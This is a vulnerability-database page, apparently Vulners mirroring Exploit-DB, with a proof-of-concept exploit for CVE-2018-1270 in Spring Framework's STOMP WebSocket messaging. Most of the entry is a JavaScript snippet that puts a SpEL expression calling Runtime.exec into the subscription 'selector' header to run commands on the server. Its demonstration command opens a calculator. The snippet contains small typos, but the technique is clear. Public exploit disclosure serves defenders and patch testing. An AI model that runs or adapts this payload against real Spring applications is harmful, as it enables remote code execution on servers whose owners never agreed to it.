Lucene search
K

Pivotal Spring Java Framework < 5.0 - Remote Code Execution

🗓️ 29 May 2018 00:00:00Reported by Exploit-DBType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 220 Views

Pivotal Spring Java Framework <= 5.0 Remote Code Execution via STOM

Related
Code
# Exploit Title: Pivotal Spring Java Framework < 5.0 - Remote Code Execution
# Date: 2018-05-28
# Exploit Author: JameelNabbo
# Website: jameelnabbo.com <http://jameelnabbo.com/>
# Vendor Homepage:
# https://pivotal.io/agile/press-release/pivotal-releases-spring-framework-for-modern-java-application-development
# CVE: CVE: CVE-2018-1270
# Version: <= 5.0.x 

# Description: By connecting to spring STOMP, and putting the key for "selector" 
# header, we can execute code on Spring.

# POC:
# Here' we are writting java commands to be executed within the selector header
# Connecting to a web socket using SockJS
# Ref: https://docs.spring.io/spring/docs/current/spring-framework-reference/web.html#websocket-stomp-enable

var header = {"selector":"T(java,lang.Runtime).getRuntime().exec('open -a Calculator"};

var socket = new SockJS('/gs-guide-websocket');
var stompClient = webstomp.over(socket);
stompClient.connect({}, function (frame){
	setConnected(true);
	console.log('Connected: ' + frame);
	stompClient.subscribe('/topic/greetings', function(greeting){
		showGreeting(JSON.parse(greeting.body).content);
		},header);
});

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 May 2018 00:00Current
0.4Low risk
Vulners AI Score0.4
CVSS 27.5
CVSS 3.19.8
EPSS0.89954
220